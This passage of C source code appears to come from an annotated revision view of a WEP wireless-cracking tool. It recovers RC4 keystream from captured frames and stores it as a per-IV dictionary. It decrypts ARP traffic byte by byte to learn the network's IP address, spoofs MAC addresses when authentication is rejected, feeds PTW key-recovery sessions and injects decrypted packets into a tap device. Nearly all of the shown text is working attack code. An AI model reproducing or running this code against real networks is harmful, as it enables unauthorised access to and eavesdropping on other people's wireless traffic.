821161030Ssam	printf("INET %d\n", sizeof(inet_clear));
822161030Ssam	hexdump(inet_clear, sizeof(inet_clear));
823161030Ssam#endif
824161030Ssam}
825161030Ssam
826161030Ssamvoid set_prga(unsigned char* iv, unsigned char* cipher,
827161030Ssam	      unsigned char* clear, int len) {
828161030Ssam
829161030Ssam	int i;
830161030Ssam	int fd;
831161030Ssam
832161030Ssam	if (prgainfo.len != 0)
833161030Ssam		free(prgainfo.prga);
834161030Ssam
835161030Ssam	prgainfo.prga = (unsigned char*) malloc(len);
836161030Ssam	if (!prgainfo.prga) {
837161030Ssam		perror("malloc()");
838161030Ssam		exit(1);
839161030Ssam	}
840161030Ssam
841161030Ssam	prgainfo.len = len;
842161030Ssam	memcpy(prgainfo.iv, iv, 3);
843161030Ssam
844161030Ssam	for (i = 0; i < len; i++) {
845161030Ssam		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
846161030Ssam				 	        clear[i]);
847161030Ssam	}
848161030Ssam
849161030Ssam	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
850161030Ssam	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
851161030Ssam	hexdump(prgainfo.prga, prgainfo.len);
852161030Ssam
853161030Ssam	if (!cipher)
854161030Ssam		return;
855161030Ssam
856161030Ssam	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
857161030Ssam		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
858161030Ssam
859161030Ssam	if (fd == -1) {
860161030Ssam		perror("open()");
861161030Ssam		exit(1);
862161030Ssam	}
863161030Ssam
864161030Ssam	i = write(fd, prgainfo.iv, 3);
865161030Ssam	if (i == -1) {
866161030Ssam		perror("write()");
867161030Ssam		exit(1);
868161030Ssam	}
869161030Ssam	if (i != 3) {
870161030Ssam		printf("Wrote %d out of %d\n", i, 3);
871161030Ssam		exit(1);
872161030Ssam	}
873161030Ssam
874161030Ssam	i = write(fd, prgainfo.prga, prgainfo.len);
875161030Ssam	if (i == -1) {
876161030Ssam		perror("write()");
877161030Ssam		exit(1);
878161030Ssam	}
879161030Ssam	if (i != prgainfo.len) {
880161030Ssam		printf("Wrote %d out of %d\n", i, prgainfo.len);
881161030Ssam		exit(1);
882161030Ssam	}
883161030Ssam
884161030Ssam	close(fd);
885161030Ssam}
886161030Ssam
887161030Ssam
888161030Ssamvoid log_dictionary(unsigned char* body, int len) {
889161030Ssam	char paths[3][3];
890161030Ssam	int i, rd;
891161030Ssam	int fd;
892161030Ssam	unsigned char path[128];
893161030Ssam	unsigned char file_clear[sizeof(inet_clear)];
894161030Ssam	unsigned char* data;
895161030Ssam
896161030Ssam	len -= 4; // IV etc..
897161030Ssam	assert (len == sizeof(inet_clear));
898161030Ssam
899161030Ssam	data = body +4;
900161030Ssam
901161030Ssam	if (len > prgainfo.len)
902161030Ssam		set_prga(body, data, inet_clear, len);
903161030Ssam
904161030Ssam
905161030Ssam	for (i = 0; i < 3; i++)
906161030Ssam		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
907161030Ssam
908161030Ssam
909161030Ssam	strcpy(path, DICT_PATH);
910161030Ssam
911161030Ssam
912161030Ssam	// first 2 bytes
913161030Ssam	for (i = 0; i < 2; i++) {
914161030Ssam		strcat(path, "/");
915161030Ssam		strcat(path, paths[i]);
916161030Ssam		fd = open(path, O_RDONLY);
917161030Ssam		if (fd == -1) {
918161030Ssam			if (errno != ENOENT) {
919161030Ssam				perror("open()");
920161030Ssam				exit(1);
921161030Ssam			}
922161030Ssam
923161030Ssam			if (mkdir(path, 0755) == -1) {
924161030Ssam				perror("mkdir()");
925161030Ssam				exit(1);
926161030Ssam			}
927161030Ssam		}
928161030Ssam		else
929161030Ssam			close(fd);
930161030Ssam	}
931161030Ssam
932161030Ssam	// last byte
933161030Ssam	strcat(path, "/");
934161030Ssam	strcat(path, paths[2]);
935161030Ssam
936161030Ssam	fd = open(path, O_RDWR);
937161030Ssam	// already exists... see if we are consistent...
938161030Ssam	if (fd != -1) {
939161030Ssam		rd = read(fd, file_clear, sizeof(file_clear));
940161030Ssam
941161030Ssam		if (rd == -1) {
942161030Ssam			perror("read()");
943161030Ssam			exit(1);
944161030Ssam		}
945161030Ssam
946161030Ssam		// check consistency....
947161030Ssam		for (i = 0; i < rd; i++) {
948161030Ssam			if (file_clear[i] !=
949161030Ssam			    (data[i] ^ inet_clear[i])) {
950161030Ssam
951161030Ssam				printf("Mismatch in byte %d for:\n", i);
952161030Ssam				hexdump(body, len+4);
953161030Ssam				exit(1);
954161030Ssam			}
955161030Ssam		}
956161030Ssam
957161030Ssam		// no need to log
958161030Ssam		if (i >= sizeof(inet_clear)) {
959161030Ssam#if 0
960161030Ssam			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
961161030Ssam				body[0], body[1], body[2]);
962161030Ssam#endif
963161030Ssam			close(fd);
964161030Ssam			return;
965161030Ssam		}
966161030Ssam
967161030Ssam		// file has less... fd still open
968161030Ssam
969161030Ssam	} else {
970161030Ssam		fd = open(path, O_WRONLY | O_CREAT, 0644);
971161030Ssam		if (fd == -1) {
972161030Ssam			printf("Can't open (%s): %s\n", path,
973161030Ssam			       strerror(errno));
974161030Ssam			exit(1);
975161030Ssam		}
976161030Ssam	}
977161030Ssam
978161030Ssam	assert (sizeof(file_clear) >= sizeof(inet_clear));
979161030Ssam
980161030Ssam	for(i = 0; i < len; i++)
981161030Ssam		file_clear[i] = data[i] ^ inet_clear[i];
982161030Ssam
983161030Ssam	rd = write(fd, file_clear, len);
984161030Ssam	if (rd == -1) {
985161030Ssam		perror("write()");
986161030Ssam		exit(1);
987161030Ssam	}
988161030Ssam	if (rd != len) {
989161030Ssam		printf("Wrote %d of %d\n", rd, len);
990161030Ssam		exit(1);
991161030Ssam	}
992161030Ssam	close(fd);
993161030Ssam}
994161030Ssam
995161030Ssamvoid stuff_for_us(struct ieee80211_frame* wh, int len) {
996161030Ssam	int type,stype;
997161030Ssam	unsigned char* body;
998161030Ssam
999161030Ssam	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1000161030Ssam	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1001161030Ssam
1002161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
1003161030Ssam
1004161030Ssam	// CTL
1005161030Ssam	if (type == IEEE80211_FC0_TYPE_CTL) {
1006161030Ssam		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1007161030Ssam			txstate.waiting_ack = 0;
1008161030Ssam			return;
1009161030Ssam		}
1010161030Ssam
1011161030Ssam		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1012161030Ssam			return;
1013161030Ssam		}
1014161030Ssam
1015161030Ssam		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1016161030Ssam			return;
1017161030Ssam		}
1018161030Ssam		time_print ("got CTL=%x\n", stype);
1019161030Ssam		return;
1020161030Ssam	}
1021161030Ssam
1022161030Ssam	// MGM
1023161030Ssam	if (type == IEEE80211_FC0_TYPE_MGT) {
1024161030Ssam		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1025161030Ssam			unsigned short* rc = (unsigned short*) body;
1026161030Ssam			printf("\n");
1027161030Ssam			time_print("Got deauth=%u\n", le16toh(*rc));
1028161030Ssam			state = FOUND_VICTIM;
1029161030Ssam			return;
1030161030Ssam			exit(1);
1031161030Ssam		}
1032161030Ssam		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1033161030Ssam			unsigned short* sc = (unsigned short*) body;
1034161030Ssam
1035161030Ssam			if (*sc != 0) {
1036161030Ssam				time_print("Warning got auth algo=%x\n", *sc);
1037161030Ssam				exit(1);
1038161030Ssam				return;
1039161030Ssam			}
1040161030Ssam			sc++;
1041161030Ssam
1042161030Ssam			if (*sc != 2) {
1043161030Ssam				time_print("Warning got auth seq=%x\n", *sc);
1044161030Ssam				return;
1045161030Ssam			}
1046161030Ssam
1047161030Ssam			sc++;
1048161030Ssam
1049161030Ssam			if (*sc == 1) {
1050161030Ssam				time_print("Auth rejected... trying to spoof mac.\n");
1051161030Ssam				state = SPOOF_MAC;
1052161030Ssam				return;
1053161030Ssam			}
1054161030Ssam			else if (*sc == 0) {
1055161030Ssam				time_print("Authenticated\n");
1056161030Ssam				state = GOT_AUTH;
1057161030Ssam				return;
1058161030Ssam			}
1059161030Ssam			else {
1060161030Ssam				time_print("Got auth %x\n", *sc);
1061161030Ssam				exit(1);
1062161030Ssam			}
1063161030Ssam		}
1064161030Ssam		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1065161030Ssam			unsigned short* sc = (unsigned short*) body;
1066161030Ssam			sc++; // cap
1067161030Ssam
1068161030Ssam			if (*sc == 0) {
1069161030Ssam				sc++;
1070161030Ssam				unsigned int aid = le16toh(*sc) & 0x3FFF;
1071161030Ssam				time_print("Associated (ID=%x)\n", aid);
1072161030Ssam				state = GOT_ASSOC;
1073161030Ssam				return;
1074168966Ssam		        } else if (*sc == 12) {
1075168966Ssam                                time_print("Assoc rejected..."
1076168966Ssam                                           " trying to spoof mac.\n");
1077168966Ssam                                state = SPOOF_MAC;
1078168966Ssam                                return;
1079161030Ssam			} else {
1080161030Ssam				time_print("got assoc %x\n", *sc);
1081161030Ssam				exit(1);
1082161030Ssam			}
1083161030Ssam		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1084161030Ssam			return;
1085161030Ssam		}
1086161030Ssam
1087161030Ssam		time_print("\nGOT MAN=%x\n", stype);
1088161030Ssam		exit(1);
1089161030Ssam	}
1090161030Ssam
1091161030Ssam	if (type == IEEE80211_FC0_TYPE_DATA &&
1092161030Ssam	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1093161030Ssam		int dlen;
1094161030Ssam		dlen = len - sizeof(*wh) - 4 -4;
1095161030Ssam
1096161030Ssam		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1097161030Ssam			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1098161030Ssam				   mac2str(wh->i_addr2), dlen, stype);
1099161030Ssam				   return;
1100161030Ssam		}
1101161030Ssam
1102161030Ssam		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1103161030Ssam
1104161030Ssam		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1105161030Ssam			rtrmac = (unsigned char *) malloc(6);
1106161030Ssam			if (!rtrmac) {
1107161030Ssam				perror("malloc()");
1108161030Ssam				exit(1);
1109161030Ssam			}
1110161030Ssam
1111161030Ssam			assert( rtrmac > (unsigned char*) 1);
1112161030Ssam
1113161030Ssam			memcpy (rtrmac, wh->i_addr3, 6);
1114161030Ssam			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1115161030Ssam
1116161030Ssam			return;
1117161030Ssam		}
1118161030Ssam#if 0
1119161030Ssam		// check if its a TTL update from dictionary stuff
1120161030Ssam		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1121161030Ssam		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1122161030Ssam			int ttl_delta, new_ttl;
1123161030Ssam
1124161030Ssam			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1125161030Ssam			new_ttl = 128 - ttl_delta;
1126161030Ssam
1127161030Ssam			if (ttl_val && new_ttl != ttl_val) {
1128161030Ssam				time_print("oops. ttl changed from %d to %d\n",
1129161030Ssam					   ttl_val, new_ttl);
1130161030Ssam				exit(1);
1131161030Ssam			}
1132161030Ssam
1133161030Ssam			if (!ttl_val) {
1134161030Ssam				ttl_val = new_ttl;
1135161030Ssam				printf("\n");
1136161030Ssam				time_print("Got TTL of %d\n", ttl_val);
1137161030Ssam				calculate_inet_clear();
1138161030Ssam			}
1139161030Ssam		}
1140161030Ssam
1141161030Ssam		// check if its dictionary data
1142161030Ssam		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1143161030Ssam			log_dictionary(body, len - sizeof(*wh));
1144161030Ssam		}
1145161030Ssam#endif
1146161030Ssam	}
1147161030Ssam
1148161030Ssam#if 0
1149161030Ssam	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1150161030Ssam		type, stype, mac2str(wh->i_addr2), len);
1151161030Ssam#endif
1152161030Ssam}
1153161030Ssam
1154161030Ssamvoid decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1155161030Ssam	unsigned char* body;
1156161030Ssam	int bodylen;
1157161030Ssam	unsigned char clear[36];
1158161030Ssam	unsigned char* ptr;
1159161030Ssam	struct arphdr* h;
1160161030Ssam	int i;
1161161030Ssam
1162161030Ssam	body = (unsigned char*) wh+sizeof(*wh);
1163161030Ssam	ptr = clear;
1164161030Ssam
1165161030Ssam	// calculate clear-text
1166161030Ssam	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1167161030Ssam	ptr += sizeof(arp_clear) -1;
1168161030Ssam
1169161030Ssam	h = (struct arphdr*)ptr;
1170161030Ssam	h->ar_hrd = htons(ARPHRD_ETHER);
1171161030Ssam        h->ar_pro = htons(ETHERTYPE_IP);
1172161030Ssam        h->ar_hln = 6;
1173161030Ssam        h->ar_pln = 4;
1174161030Ssam        h->ar_op = htons(ARPOP_REQUEST);
1175161030Ssam	ptr += sizeof(*h);
1176161030Ssam
1177161030Ssam	memcpy(ptr, wh->i_addr3, 6);
1178161030Ssam
1179161030Ssam	bodylen = rd - sizeof(*wh) - 4 - 4;
1180161030Ssam	decryptstate.clen = bodylen;
1181161030Ssam	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1182161030Ssam	if (!decryptstate.cipher) {
1183161030Ssam		perror("malloc()");
1184161030Ssam		exit(1);
1185161030Ssam	}
1186161030Ssam	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1187161030Ssam	if (!decryptstate.prgainfo.prga) {
1188161030Ssam		perror("malloc()");
1189161030Ssam		exit(1);
1190161030Ssam	}
1191161030Ssam
1192161030Ssam
1193161030Ssam	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1194161030Ssam	memcpy(decryptstate.prgainfo.iv, body, 3);
1195161030Ssam
1196161030Ssam	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1197161030Ssam	for(i = 0; i < (8+8+6); i++) {
1198161030Ssam		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1199161030Ssam						clear[i];
1200161030Ssam	}
1201161030Ssam
1202161030Ssam	decryptstate.prgainfo.len = i;
1203161030Ssam	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1204161030Ssam}
1205161030Ssam
1206168502Ssamvoid log_wep(struct ieee80211_frame* wh, int len) {
1207161030Ssam	int rd;
1208168502Ssam	struct pcap_pkthdr pkh;
1209168502Ssam	struct timeval tv;
1210168502Ssam	unsigned char *body = (unsigned char*) (wh+1);
1211161030Ssam
1212168502Ssam	memset(&pkh, 0, sizeof(pkh));
1213168502Ssam	pkh.caplen = pkh.len = len;
1214168502Ssam	if (gettimeofday(&tv, NULL) == -1)
1215168502Ssam		err(1, "gettimeofday()");
1216168502Ssam	pkh.ts = tv;
1217168502Ssam	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1218168502Ssam		err(1, "write()");
1219161030Ssam
1220168502Ssam	rd = write(weplog.fd, wh, len);
1221161030Ssam
1222161030Ssam	if (rd == -1) {
1223161030Ssam		perror("write()");
1224161030Ssam		exit(1);
1225161030Ssam	}
1226168502Ssam	if (rd != len) {
1227168502Ssam		time_print("short write %d out of %d\n", rd, len);
1228161030Ssam		exit(1);
1229161030Ssam	}
1230161030Ssam
1231161030Ssam#if 0
1232161030Ssam	if (fsync(weplog.fd) == -1) {
1233161030Ssam		perror("fsync()");
1234161030Ssam		exit(1);
1235161030Ssam	}
1236161030Ssam#endif
1237161030Ssam
1238161030Ssam	memcpy(weplog.iv, body, 3);
1239161030Ssam	weplog.packets++;
1240161030Ssam}
1241161030Ssam
1242161030Ssamvoid try_dictionary(struct ieee80211_frame* wh, int len) {
1243161030Ssam	unsigned char *body;
1244161030Ssam	char path[52];
1245161030Ssam	char paths[3][3];
1246161030Ssam	int i;
1247161030Ssam	int fd, rd;
1248161030Ssam	unsigned char packet[4096];
1249161030Ssam	int dlen;
1250161030Ssam	struct ether_header* eh;
1251161030Ssam	uLong crc;
1252161030Ssam	unsigned long *pcrc;
1253161030Ssam	unsigned char* dmac, *smac;
1254161030Ssam
1255161030Ssam	assert (len < sizeof(packet) + sizeof(*eh));
1256161030Ssam
1257161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
1258161030Ssam
1259161030Ssam	for (i = 0; i < 3; i++)
1260161030Ssam		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1261161030Ssam
1262161030Ssam	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1263161030Ssam
1264161030Ssam	fd = open(path, O_RDONLY);
1265161030Ssam	if (fd == -1)
1266161030Ssam		return;
1267161030Ssam
1268161030Ssam	rd = read(fd, &packet[6], sizeof(packet)-6);
1269161030Ssam	if (rd == -1) {
1270161030Ssam		perror("read()");
1271161030Ssam		exit(1);
1272161030Ssam	}
1273161030Ssam	close(fd);
1274161030Ssam
1275161030Ssam
1276161030Ssam	dlen = len - sizeof(*wh) - 4;
1277161030Ssam	if (dlen > rd) {
1278161030Ssam		printf("\n");
1279161030Ssam		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1280161030Ssam		dlen);
1281161030Ssam		return;
1282161030Ssam	}
1283161030Ssam
1284161030Ssam	body += 4;
1285161030Ssam	for (i = 0; i < dlen; i++)
1286161030Ssam		packet[6+i] ^= body[i];
1287161030Ssam
1288161030Ssam	dlen -= 4;
1289161030Ssam	crc = crc32(0L, Z_NULL, 0);
1290161030Ssam	crc = crc32(crc, &packet[6], dlen);
1291161030Ssam	pcrc = (unsigned long*) (&packet[6+dlen]);
1292161030Ssam
1293161030Ssam	if (*pcrc != crc) {
1294161030Ssam		printf("\n");
1295161030Ssam		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1296161030Ssam			   path, *pcrc, crc);
1297161030Ssam		return;
1298161030Ssam	}
1299161030Ssam
1300161030Ssam	// fill ethernet header
1301161030Ssam	eh = (struct ether_header*) packet;
1302161030Ssam	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1303161030Ssam		smac = wh->i_addr3;
1304161030Ssam	else
1305161030Ssam		smac = wh->i_addr2;
1306161030Ssam
1307161030Ssam	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1308161030Ssam		dmac = wh->i_addr3;
1309161030Ssam	else
1310161030Ssam		dmac = wh->i_addr1;
1311161030Ssam
1312161030Ssam	memcpy(eh->ether_dhost, dmac, 6);
1313161030Ssam	memcpy(eh->ether_shost, smac, 6);
1314161030Ssam	// ether type should be there from llc
1315161030Ssam
1316161030Ssam	dlen -= 8; // llc
1317161030Ssam	dlen += sizeof(*eh);
1318161030Ssam
1319161030Ssam#if 0
1320161030Ssam	printf("\n");
1321161030Ssam	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1322161030Ssam	hexdump(packet, dlen);
1323161030Ssam#endif
1324161030Ssam
1325161030Ssam	rd = write(tapfd, packet, dlen);
1326161030Ssam	if (rd == -1) {
1327161030Ssam		perror("write()");
1328161030Ssam		exit(1);
1329161030Ssam	}
1330161030Ssam	if (rd != dlen) {
1331161030Ssam		printf("Wrote %d / %d\n", rd, dlen);
1332161030Ssam		exit(1);
1333161030Ssam	}
1334161030Ssam}
1335161030Ssam
1336168502Ssamint is_arp(struct ieee80211_frame *wh, int len)
1337168502Ssam{
1338168502Ssam        int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1339168502Ssam
1340168502Ssam        if (len == arpsize || len == 54)
1341168502Ssam                return 1;
1342168502Ssam
1343168502Ssam        return 0;
1344168502Ssam}
1345168502Ssam
1346168502Ssamvoid *get_sa(struct ieee80211_frame *wh)
1347168502Ssam{
1348168502Ssam        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1349168502Ssam                return wh->i_addr3;
1350168502Ssam        else
1351168502Ssam                return wh->i_addr2;
1352168502Ssam}
1353168502Ssam
1354168502Ssamvoid *get_da(struct ieee80211_frame *wh)
1355168502Ssam{
1356168502Ssam        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1357168502Ssam                return wh->i_addr1;
1358168502Ssam        else
1359168502Ssam                return wh->i_addr3;
1360168502Ssam}
1361168502Ssam
1362168502Ssamint known_clear(void *clear, struct ieee80211_frame *wh, int len)
1363168502Ssam{
1364168502Ssam        unsigned char *ptr = clear;
1365168502Ssam
1366168502Ssam        /* IP */
1367168502Ssam        if (!is_arp(wh, len)) {
1368168502Ssam                unsigned short iplen = htons(len - 8);
1369168502Ssam
1370168502Ssam//                printf("Assuming IP %d\n", len);
1371168502Ssam
1372168502Ssam                len = sizeof(S_LLC_SNAP_IP) - 1;
1373168502Ssam                memcpy(ptr, S_LLC_SNAP_IP, len);
1374168502Ssam                ptr += len;
1375168502Ssam#if 1
1376168502Ssam                len = 2;
1377168502Ssam                memcpy(ptr, "\x45\x00", len);
1378168502Ssam                ptr += len;
1379168502Ssam
1380168502Ssam                memcpy(ptr, &iplen, len);
1381168502Ssam                ptr += len;
1382168502Ssam#endif
1383168502Ssam                len = ptr - ((unsigned char*)clear);
1384168502Ssam                return len;
1385168502Ssam        }
1386168502Ssam//        printf("Assuming ARP %d\n", len);
1387168502Ssam
1388168502Ssam        /* arp */
1389168502Ssam        len = sizeof(S_LLC_SNAP_ARP) - 1;
1390168502Ssam        memcpy(ptr, S_LLC_SNAP_ARP, len);
1391168502Ssam        ptr += len;
1392168502Ssam
1393168502Ssam        /* arp hdr */
1394168502Ssam        len = 6;
1395168502Ssam        memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1396168502Ssam        ptr += len;
1397168502Ssam
1398168502Ssam        /* type of arp */
1399168502Ssam        len = 2;
1400168502Ssam        if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1401168502Ssam                memcpy(ptr, "\x00\x01", len);
1402168502Ssam        else
1403168502Ssam                memcpy(ptr, "\x00\x02", len);
1404168502Ssam        ptr += len;
1405168502Ssam
1406168502Ssam        /* src mac */
1407168502Ssam        len = 6;
1408168502Ssam        memcpy(ptr, get_sa(wh), len);
1409168502Ssam        ptr += len;
1410168502Ssam
1411168502Ssam        len = ptr - ((unsigned char*)clear);
1412168502Ssam        return len;
1413168502Ssam}
1414168502Ssam
1415168502Ssamvoid add_keystream(struct ieee80211_frame* wh, int rd)
1416168502Ssam{
1417168502Ssam	unsigned char clear[1024];
1418168502Ssam	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1419168502Ssam	int clearsize;
1420168502Ssam	unsigned char *body = (unsigned char*) (wh+1);
1421168502Ssam	int i;
1422168502Ssam
1423168502Ssam	clearsize = known_clear(clear, wh, dlen);
1424168502Ssam	if (clearsize < 16)
1425168502Ssam		return;
1426168502Ssam
1427168502Ssam	for (i = 0; i < 16; i++)
1428168502Ssam		clear[i] ^= body[4+i];
1429168502Ssam
1430168502Ssam	PTW_addsession(ptw, body, clear);
1431168502Ssam}
1432168502Ssam
1433161030Ssamvoid got_wep(struct ieee80211_frame* wh, int rd) {
1434161030Ssam	int bodylen;
1435161030Ssam	int dlen;
1436168502Ssam	unsigned char clear[1024];
1437161030Ssam	int clearsize;
1438161030Ssam	unsigned char *body;
1439161030Ssam
1440161030Ssam	bodylen = rd - sizeof(struct ieee80211_frame);
1441161030Ssam
1442161030Ssam	dlen = bodylen - 4 - 4;
1443161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
1444161030Ssam
1445161030Ssam
1446161030Ssam	// log it if its stuff not from us...
1447161030Ssam	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1448161030Ssam	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1449161030Ssam	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1450161030Ssam
1451168502Ssam		if (body[3] != 0) {
1452168502Ssam			time_print("Key index=%x!!\n", body[3]);
1453168502Ssam			exit(1);
1454168502Ssam		}
1455168502Ssam		log_wep(wh, rd);
1456168502Ssam		add_keystream(wh, rd);
1457161030Ssam
1458161030Ssam		// try to decrypt too
1459161030Ssam		try_dictionary(wh, rd);
1460161030Ssam	}
1461161030Ssam
1462161030Ssam	// look for arp-request packets... so we can decrypt em
1463161030Ssam	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1464161030Ssam	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1465161030Ssam	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1466161030Ssam	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1467161030Ssam	    !decryptstate.cipher &&
1468161030Ssam	    !netip) {
1469161030Ssam		decrypt_arpreq(wh, rd);
1470161030Ssam	}
1471161030Ssam
1472161030Ssam	// we have prga... check if its our stuff being relayed...
1473161030Ssam	if (prgainfo.len != 0) {
1474161030Ssam		// looks like it...
1475161030Ssam		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1476161030Ssam		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1477161030Ssam		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1478161030Ssam		    dlen == fragstate.len) {
1479161030Ssam
1480161030Ssam//			printf("I fink AP relayed it...\n");
1481161030Ssam			set_prga(body, &body[4], fragstate.data, dlen);
1482161030Ssam			free(fragstate.data);
1483161030Ssam			fragstate.data = 0;
1484161030Ssam			fragstate.waiting_relay = 0;
1485161030Ssam		}
1486161030Ssam
1487161030Ssam		// see if we get the multicast stuff of when decrypting
1488161030Ssam		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1489161030Ssam		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1490161030Ssam		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1491161030Ssam		    dlen == 36) {
1492161030Ssam
1493161030Ssam			unsigned char pr = wh->i_addr1[5];
1494161030Ssam
1495161030Ssam			printf("\n");
1496161030Ssam			time_print("Got clear-text byte: %d\n",
1497161030Ssam			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1498161030Ssam
1499161030Ssam			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1500161030Ssam			decryptstate.prgainfo.len++;
1501161030Ssam			decryptstate.fragstate.waiting_relay = 1;
1502161030Ssam
1503161030Ssam			// ok we got the ip...
1504161030Ssam			if (decryptstate.prgainfo.len == 26+1) {
1505161030Ssam				unsigned char ip[4];
1506161030Ssam				int i;
1507161030Ssam				struct in_addr *in = (struct in_addr*) ip;
1508161030Ssam				unsigned char *ptr;
1509161030Ssam
1510161030Ssam				for (i = 0; i < 4; i++)
1511161030Ssam					ip[i] = decryptstate.cipher[8+8+6+i] ^
1512161030Ssam						decryptstate.prgainfo.prga[8+8+6+i];
1513161030Ssam
1514161030Ssam				assert(!netip);
1515161030Ssam				netip = (unsigned char*) malloc(16);
1516161030Ssam				if(!netip) {
1517161030Ssam					perror("malloc()");
1518161030Ssam					exit(1);
1519161030Ssam				}
1520161030Ssam
1521161030Ssam				memset(netip, 0, 16);
1522161030Ssam				strcpy(netip, inet_ntoa(*in));
1523161030Ssam
1524161030Ssam				time_print("Got IP=(%s)\n", netip);
1525161030Ssam				strcpy(myip, netip);
1526161030Ssam
1527161030Ssam				ptr = strchr(myip, '.');
1528161030Ssam				assert(ptr);
1529161030Ssam				ptr = strchr(ptr+1, '.');
1530161030Ssam				assert(ptr);
1531161030Ssam				ptr = strchr(ptr+1, '.');
1532161030Ssam				assert(ptr);
1533161030Ssam				strcpy(ptr+1,"123");
1534161030Ssam
1535161030Ssam				time_print("My IP=(%s)\n", myip);
1536161030Ssam
1537161030Ssam
1538161030Ssam				free(decryptstate.prgainfo.prga);
1539161030Ssam				free(decryptstate.cipher);
1540161030Ssam				memset(&decryptstate, 0, sizeof(decryptstate));
1541161030Ssam			}
1542161030Ssam		}
1543161030Ssam		return;
1544161030Ssam	}
1545161030Ssam
1546168502Ssam	clearsize = known_clear(clear, wh, dlen);
1547168502Ssam	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1548161030Ssam
1549161030Ssam	set_prga(body, &body[4], clear, clearsize);
1550161030Ssam}
1551161030Ssam
1552161030Ssamvoid stuff_for_net(struct ieee80211_frame* wh, int rd) {
1553161030Ssam	int type,stype;
1554161030Ssam
1555161030Ssam	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1556161030Ssam	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1557161030Ssam
1558161030Ssam	if (type == IEEE80211_FC0_TYPE_DATA &&
1559161030Ssam	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1560161030Ssam		int dlen = rd - sizeof(struct ieee80211_frame);
1561161030Ssam
1562161030Ssam		if (state == SPOOF_MAC) {
1563161030Ssam			unsigned char mac[6];
1564161030Ssam			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1565161030Ssam				memcpy(mac, wh->i_addr3, 6);
1566161030Ssam			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1567161030Ssam				memcpy(mac, wh->i_addr1, 6);
1568161030Ssam			} else assert(0);
1569161030Ssam
